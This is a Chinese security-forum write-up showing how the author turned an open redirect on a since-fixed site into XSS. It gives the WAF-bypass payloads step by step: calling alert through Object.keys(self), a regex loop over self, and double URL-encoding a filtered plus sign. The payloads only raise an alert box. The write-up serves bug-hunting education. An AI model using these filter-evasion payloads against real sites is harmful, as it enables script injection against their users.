使用JavaScript全局变量绕过WAF XSS过滤实例

2020-03-29 17:45:15 13 7742 6


声明:此漏洞站点已修复

1) 前提内容
先知一篇《使用JavaScript全局变量绕过XSS过滤器》的文章
https://xz.aliyun.com/t/5395

2) 发现过程
https://foosite.com/path/share.htm?redirectUrl=https://evil_site.com/
发现https://evil_site.com/ 原样输出到了下列script语句


window.runParams.redirectUrl='https://evil_site.com/'中,
最后通过Share.init()进行跳转,
已经确定存在任意URL重定向漏洞,
这种前端跳转的方式可不可以构造XSS呢?

经过测试这里有限制,有WAF且过滤了单引号,双引号,加号被替换成了空。
下面最简单的payload是不会奏效的,无法逃逸出单引号。
https://foosite.com/path/share.htm?redirectUrl=https://evil.site/';foo_code(1);//

于是使用JavaScript伪协议构造
https://foosite.com/path/share.htm?redirectUrl=javascript:alert()
发现WAF拦截了alert()、confirm()、prompt(),遇到就返回拦截页面。

但是发现console.log并没有过滤
https://foosite.com/path/share.htm?redirectUrl=javascript:console.log(11)  

浏览器conlose会打印出“111”,(忘记截图了)
感觉是黑名单过滤方式,有了点信心,从而确定了深入挖掘的决心。
一个XSS如果不能弹窗,总感觉缺少点什么。

3) 绕过WAF
翻到开头那篇《使用JavaScript全局变量绕过XSS过滤器》的文章,
找到一种方法,为了绕过alert()的限制,按其方法构造,
先计算alert在self中数组的位置,console输入以下内容:
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; } // c=148
返回结果为148。(浏览器升级后,会变,今天截图是145)


然后构造好以下Payload:
javascript:self[Object.keys(self)[148]]("foo")
拼接链接,发现不行,因为双引号是被过滤了的。
修改成不含单双引号的如下Payload:
javascript:self[Object.keys(self)[148]](1)
拼接链接URL编码,自己访问
https://foosite.com/path/share.htm?redirectUrl=javascript%3aself%5bObject%2ekeys%28self%29%5b148%5d%5d%281%29;//


BOOM! 确实可以弹窗,页面源码如下:


但是由于浏览器的不同alert所处的位置都不同,以上链接的Payload不具通用性,换个浏览器或者版本就不行了。
经过分析,WAF过滤了单双引号,原文章的这个Payload是最符合我的要求:
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
自己改造成如下Payload:
c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};
本地浏览器测试可以弹窗,目标站点上发现会将+号替换成空,Payload执行失效。
长久尝试后,想到将“+”先URL编码一次会怎样呢?
“+”编码后如下
c=0;for(i in self){if(/^a[rel]%2bt$/.test(i)){self[Object.keys(self)[c]](1)}c%2b%2b;};
拼接javascript:后,再URL编码一次:
%6a%61%76%61%73%63%72%69%70%74%3a%63%3d%30%3b%66%6f%72%28%69%20%69%6e%20%73%65%6c%66%29%7b%69%66%28%2f%5e%61%5b%72%65%6c%5d%25%32%62%74%24%2f%2e%74%65%73%74%28%69%29%29%7b%73%65%6c%66%5b%4f%62%6a%65%63%74%2e%6b%65%79%73%28%73%65%6c%66%29%5b%63%5d%5d%28%31%29%7d%63%25%32%62%25%32%62%3b%7d%3b
拼接后的URL
https://foosite.com/path/share.htm?redirectUrl=%6a%61%76%61%73%63%72%69%70%74%3a%63%3d%30%3b%66%6f%7 ... %66%29%5b%63%5d%5d%28%31%29%7d%63%25%32%62%25%32%62%3b%7d%3b
打开浏览器,成功绕过WAF弹窗

页面源码如下:



4) 总结
1.多总结些大佬的奇技淫巧和Payload,必要时能用上,
2.编码绕过,四两拨千斤,

关于作者

fobug3篇文章136篇回复

评论13次

要评论?请先  登录  或  注册